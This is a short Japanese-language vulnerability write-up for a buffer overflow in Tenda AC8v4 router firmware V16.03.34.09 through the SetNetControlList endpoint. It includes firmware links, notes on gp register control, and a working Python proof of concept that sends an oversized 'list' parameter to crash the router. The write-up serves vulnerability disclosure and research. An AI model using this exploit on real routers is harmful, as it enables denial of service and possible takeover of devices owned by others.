
Tenda AC8v4ルーターファームウェア(V16.03.34.09)のSetNetControlListエンドポイントを介したバッファオーバーフロー脆弱性の概念実証エクスプロイト。gpレジスタの制御を実証します。
ファームウェアダウンロードサイト:
https://www.tenda.com.cn/download/detail-3683.html
https://down.tenda.com.cn/uploadfile/AC8/V16.03.34.09.zip
https://static.tenda.com.cn/tdcweb/download/uploadfile/AC8/V16.03.34.09.zip
AC8/V16.03.34.09
Tenda AC8v4 .V16.03.34.09。sscanfにより、s8の最後の桁が \x0 で上書きされる。set_client_qos を実行した後、gpレジスタの制御が取得される。



Segmentation fault (core dumped) を発生させるPoC
import requests
url = 'http://192.168.0.1/goform/SetNetControlList'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36',
'Accept': '*/*',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Connection': 'close',
'Content-Length': '3003'
}
payload=b"list="
pad=0x407ff818-0x407ff7c0
from pwn import *
target=0x40302010
target=p32(target)
payload+=b"a"*(pad)+target+b"c"*(0x110-pad)
# list len >=0x100
try:
requests.post(url, headers=headers, data=payload,timeout=3)
except requests.exceptions.ReadTimeout:
print("test ok")

sscanf前

sscanf後、そしてretする


